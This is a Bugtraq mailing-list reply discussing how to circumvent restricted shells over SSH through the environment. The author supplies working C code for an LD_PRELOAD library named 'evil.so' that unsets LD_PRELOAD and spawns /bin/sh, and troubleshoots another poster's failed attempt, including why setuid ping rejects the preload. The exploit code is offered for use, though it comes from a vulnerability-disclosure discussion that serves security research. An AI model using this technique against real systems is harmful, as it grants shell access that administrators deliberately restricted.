Re: ssh environment - circumvention of restricted shells

[ari <edelkind-bugtraq () episec com>]

lsawyer () gci com said this stuff:

[...]
> I've tried this 'exploit' on both Linux 2.4.14 (redhat) and Solaris 2.8
> boxen, and have been unable to get a shell.  The shell process is there,
> but fails to communicate with the network socket.  

Ah; /bin/sh is shared on your system as well.  To get around this, try
the following code for evil.so:

-----
#include <unistd.h>
#include <stdlib.h>

void _init (void) {
        unsetenv("LD_PRELOAD");
        execl("/bin/sh", "sh", 0);
}
-----

> *** However ***, if i replace "/bin/sh" with "ping some.ip.add.ress"  and
> attempt the connection, i'm greeted with the following:
>
>       Last login: today from somehost
>       Sun Microsystems Inc.  SunOS 5.8
>       ld.so.1: ping: warning: /homes/evil/.ssh/evil.so: open failed:
> illegal insecure pathname
>       some.ip.add.ress is alive
>       Connection to target closed.

Your 'ping' binary is probably setuid-root.  What happens is, the shared
library executes ping, but the LD_PRELOAD environment variable hasn't
gone anywhere.  When ping executes, ld.so sees LD_PRELOAD (which is
forbidden for setuid programs), complains, and doesn't execute it.

On the other hand, when executing your shared /bin/sh, every /bin/sh
process once again preloads evil.so, creating an infinite execl(3) loop.
The code above should account for that.

ari